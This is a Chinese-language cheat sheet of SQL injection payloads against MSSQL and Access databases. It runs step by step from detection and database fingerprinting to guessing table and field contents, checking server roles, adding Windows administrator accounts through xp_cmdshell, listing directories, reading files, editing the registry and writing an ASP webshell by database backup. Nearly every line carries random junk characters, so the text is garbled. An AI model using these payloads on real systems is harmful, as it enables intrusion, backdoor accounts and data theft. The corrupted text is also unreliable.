1.判断是否有注入;and 1=1 ;and 1=2 }(yX$ 3?`
2.初步判断是否是mssql ;and user>0 pSPVY2qKX
HgY> M`U
3.注入参数是字符'and [查询条件] and ''=' /Tc
I
|E(`9
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ZDhl$m[m
JDI1l_Ga
5.判断数据库系统 :
U Yn
*%(BE*C}
;and (select count(*) from sysobjects)>0 mssql zYz0R:@n+
0C,2gcq
;and (select count(*) from msysobjects)>0 access M?nYplC
,~TV/l<
3lw8%QD>
c:@lR/oe"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8etNS~^
!e0OGf
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Jq1^}1P
9[9
ZI1*s
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 MIn6p
aOOkC&%
9.(1)猜字段的ascii值(access) (H*EZ
d*===~
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ?S~@Ea8/M
"L)=Y7Dx
(2)猜字段的ascii值(mssql) xV}ybRKV
q
?qpUPzD
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ,5
A&
B S^P&TR!
10.测试权限结构(mssql) (TF;+FRW
FL /395 <:
1%^d<%,]
kvoEnwBe_
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Tl%n|pc
FZi'#(y
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- UEb'b,O_9
|nu)=Ag
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- `;R
[*7
IuW5LS
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8#_"WzDw
yaw33/iN
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- c1 ~=
<:YD.zAh|
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- G^6\ OOSy
D$vP&7pOr4
;and 1=(select IS_MEMBER('db_owner'));-- \U\k$ (
7Gs0DwV
;/-X;!a>
K;NaiRP#k
11.添加mssql和系统的帐户 N =0R6{'
H"n@=DMLm
;exec master.dbo.sp_addlogin username;-- 'a6:3*
;exec master.dbo.sp_password null,username,password;-- $1ZFkw
*qN(_
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- uA1DTr?z
@0qDhv s
;exec master.dbo.xp_cmdshell 'net user username password yrgb6)]nm@
HEMq4v4
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- .15^c+j
QN'v]z
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ZBf9Upg
*9?T?S|^$F
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- (F.vVldBy
jaOt"iU.B
$(PWN6{\r^
zB@@Gs>
12.(1)遍历目录 OpT0V]k^"9
XY*KWO
;create table dirs(paths varchar(100), id int) V!3.MQM
=#Qm D=
;insert dirs exec master.dbo.xp_dirtree 'c:\' a#NP69
C\d5t4s
;and (select top 1 paths from dirs)>0 ud@7%%
OQC.p,SO
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) y~jYGN
e|~s'{3
J ;e/S6l
gL-\@4\wc
(2)遍历目录 d O' apey
;^cc-bLvF
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ,x.2kb
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 8g!C'5
]B'H(o
R<|
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 j}devpO
SB<09|2
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <e%~K4KH
9tZ+?O5
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5%Xny8
]|D
(qky&}H
r!,/~~mT
$>M A
13.mssql中的存储过程 3~uWrZ.u
GA.4'W^&a
xp_regenumvalues 注册表根键, 子键 rdY/QvP0=
g'Id31r'
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 F#az&
5uJ{#Zd
xp_regread 根键,子键,键值名 ?{bAyh/
*wY { ~zh
;exec xp_regread nOE 1bf^l
kpU-//lk+
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ti}g?\VT
}K%y'D
xp_regwrite 根键,子键, 值名, 值类型, 值 hG3p"_L
EgY yvS)
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 J
BN_Upat
oD=6D9c?
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 (XDK&]U
IxxA8[^V
xp_regdeletevalue 根键,子键,值名 @N'0:0Nb_
{q}#
Sq
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ji(Y?vhQt
3 IK+&hk
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 VSJ08Ngi
5{@Hpj/B
xr<.r4
K#LG7faj
14.mssql的backup创建webshell Fm3f/]>k#_
#P''+$5,
use model VIi/=mO]
*Pmk1h2
create table cmd(str image); Q:+cLl&;hB
YV 5kzq
insert into cmd(str) values (''); )&$Zt(
fcC?1M[BP~
backup database model to disk='c:\l.asp'; nU6WT |
<X{hW^??)
}?vc1%w
NIQX?|;b{
15.mssql内置函数 YyZ>w2_MTi
3X,SCG
;and (select @@version)>0 获得Windows的版本号 BW61WH?
tUp'cG
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ]DaC??%w
NP {O
;and (select user_name())>0 爆当前系统的连接用户 >cEB,@~
G \S >H
;and (select db_name())>0 得到当前连接的数据库 xlH?J;$
q[}[w! to
hR] AUH
8O)!{gB
16.简洁的webshell -5Km9X8
\AT]$`8@_
use model fy(i<L
Z
nO d'$q
create table cmd(str image); DsY$
PI~W6a7p
insert into cmd(str) values (''); 6.!3g(w
H(1(H0Kj"
backup database model to disk='g:\wwwtest\l.asp';